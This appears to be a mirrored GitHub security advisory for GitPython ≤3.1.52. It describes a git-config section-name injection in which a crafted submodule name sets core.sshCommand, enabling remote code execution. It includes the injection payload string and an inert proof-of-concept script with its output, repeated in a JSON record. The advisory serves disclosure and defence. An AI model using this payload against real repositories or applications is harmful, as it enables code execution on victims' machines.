GHSA-3RP5-JJMW-4WV2

Vulnerability from github – Published: 2026-07-24 16:22 – Updated: 2026-07-24 16:22
VLAI
Summary
GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)
Details

Summary

In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the [...] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted .git/config, an attacker can set core.sshCommand (or alias.*, core.pager, core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).

This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the [r\n\x00] guard added for them does not stop a same-line section break inside a name.

Details

The only guard applied to section/option names before writing is _assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:

git/config.py:75,897-899 (GitPython 3.1.52):

UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]")
...
def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None:
    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):
        raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)

The name is then serialized into the header with no escaping of ], [, ", space, = or #:

git/config.py:693:

fp.write(("[%s]\n" % name).encode(defenc))

For submodules the name is wrapped as submodule "<name>" (git/objects/submodule/util.py:39, return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:

x"] [core] sshCommand=CMD #

therefore serializes to the header [submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first ] on that line as a fresh section, yielding core.sshCommand=CMD (the trailing #"] is an inline comment). No CR/LF/NUL appears, so _assure_config_name_safe never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's .git/config:

  • Repo.create_submodule(name=<untrusted>, ...)Submodule.addgit/objects/submodule/base.py:619 writer.set_value(sm_section(name), "url", url) — a single call, no hostile remote required.
  • Repo.clone_from(<hostile url>) + repo.submodule_update(init=True)git/objects/submodule/base.py:855 writer.set_value(sm_section(self.name), "url", self.url), where self.name is read unvalidated from the cloned repo's .gitmodules.

Asymmetry: the sibling class is blocked — a newline in a config value, e.g. set_value("core", "editor", "x\n\tsshCommand=CMD"), raises ValueError. The section-name bracket payload is not caught by the same guard.

PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with git config --get; no ssh/fetch/push is run and nothing is executed.

#!/usr/bin/env python3
"""Minimal PoC: git-config section-name injection in GitPython==3.1.52."""
from importlib.metadata import version
import os, tempfile, subprocess
import git

print(f"# GitPython {version('GitPython')}")        # version proof -- first line

MARKER = "MARKER_9f3a"                               # inert; never executed
tmp = tempfile.mkdtemp()
env = {**os.environ, "HOME": tmp,
       "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull,
       "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
       "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None):
    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# A benign local repo used as the submodule url (a plain path, no network).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo():
    p = tempfile.mkdtemp(dir=tmp)
    run("git", "init", "-q", p)
    open(os.path.join(p, "r"), "w").write("x")
    run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p)
    return p

def injected_sshcommand(parent):
    r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
            "--get", "core.sshCommand")
    return (r.returncode, r.stdout.strip())

benign = "docs"
evil   = f'x"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]

p_control = parent_repo()
git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl)
p_exploit = parent_repo()
git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control)
exp = injected_sshcommand(p_exploit)
header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines()
          if l.startswith("[submodule")][0]

print("control name :", repr(benign))
print("  git core.sshCommand ->", ctl, "(unset)")
print("exploit name :", repr(evil))
print("  written header      ->", header)
print("  git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand"
assert exp == (0, MARKER), "not reproduced"
print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} "
      f"into the victim's trusted .git/config (git would run it on the next ssh op)")

Run:

uv run --with GitPython==3.1.52 python poc.py

Observed output:

# GitPython 3.1.52
control name : 'docs'
  git core.sshCommand -> (1, '') (unset)
exploit name : 'x"] [core] sshCommand=MARKER_9f3a #'
  written header      -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"]
  git core.sshCommand -> (0, 'MARKER_9f3a')
VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)

The benign name yields a single clean [submodule "docs"] section; the malicious name yields an injected core.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced " makes git reject the header); the submodule "<name>" wrapper balances them automatically.

Impact

Arbitrary attacker-controlled write into the victim's repository-local .git/config, which git fully trusts. core.sshCommand is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*, core.pager, core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:

  • an application that constructs a submodule from untrusted input via Repo.create_submodule(name=...) (single call); or
  • Repo.clone_from of an untrusted repository followed by submodule_update — the canonical submodule threat model, where the malicious name is read from the cloned .gitmodules.

No non-default git settings are required. Primarily a Unix vector: on Windows the " in the resulting .git/modules/<name> directory name can abort the fresh-clone write branch (the direct config-API and create_submodule sinks are unaffected).

Recommended fix

Reject or escape configuration section/subsection/option names that contain ], [, ", or leading/trailing whitespace (or apply git's own section-name escaping) in _assure_config_name_safe / write_section, rather than only CR/LF/NUL. Validating submodule names before they reach sm_section would additionally close the clone-driven path.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.52"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "gitpython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.53"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:22:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nIn GitPython `\u003c= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ \"` closes the intended header and opens a second same-line section, injecting an arbitrary config directive \u2014 with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository\u0027s `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository\u0027s trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim\u0027s next git operation. Likely **CWE-74 (Injection)**.\n\nThis is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\\n\\x00]` guard added for them does not stop a **same-line** section break inside a name.\n\n### Details\n\nThe only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:\n\n`git/config.py:75,897-899` (`GitPython 3.1.52`):\n\n```python\nUNSAFE_CONFIG_CHARS_RE = re.compile(r\"[\\r\\n\\x00]\")\n...\ndef _assure_config_name_safe(self, name: \"cp._SectionName\", label: str) -\u003e None:\n    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n        raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \"\u003cname\u003e\"` (`git/objects/submodule/util.py:39`, `return f\u0027submodule \"{name}\"\u0027`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository\u0027s `.git/config`:\n\n- `Repo.create_submodule(name=\u003cuntrusted\u003e, ...)` \u2192 `Submodule.add` \u2192 `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` \u2014 a single call, no hostile remote required.\n- `Repo.clone_from(\u003chostile url\u003e)` + `repo.submodule_update(init=True)` \u2192 `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo\u0027s `.gitmodules`.\n\nAsymmetry: the sibling class is blocked \u2014 a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version(\u0027GitPython\u0027)}\")        # version proof -- first line\n\nMARKER = \"MARKER_9f3a\"                               # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n       \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n       \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n       \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n    p = tempfile.mkdtemp(dir=tmp)\n    run(\"git\", \"init\", \"-q\", p)\n    open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n    run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n    return p\n\ndef injected_sshcommand(parent):\n    r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n            \"--get\", \"core.sshCommand\")\n    return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil   = f\u0027x\"] [core] sshCommand={MARKER} #\u0027          # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n          if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\"  git core.sshCommand -\u003e\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\"  written header      -\u003e\", header)\nprint(\"  git core.sshCommand -\u003e\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n      f\"into the victim\u0027s trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : \u0027docs\u0027\n  git core.sshCommand -\u003e (1, \u0027\u0027) (unset)\nexploit name : \u0027x\"] [core] sshCommand=MARKER_9f3a #\u0027\n  written header      -\u003e [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n  git core.sshCommand -\u003e (0, \u0027MARKER_9f3a\u0027)\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim\u0027s trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \"\u003cname\u003e\"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim\u0027s repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim\u0027s next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` \u2014 the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/\u003cname\u003e` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).\n\n### Recommended fix\n\nReject or escape configuration section/subsection/option **names** that contain `]`, `[`, `\"`, or leading/trailing whitespace (or apply git\u0027s own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.",
  "id": "GHSA-3rp5-jjmw-4wv2",
  "modified": "2026-07-24T16:22:02Z",
  "published": "2026-07-24T16:22:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…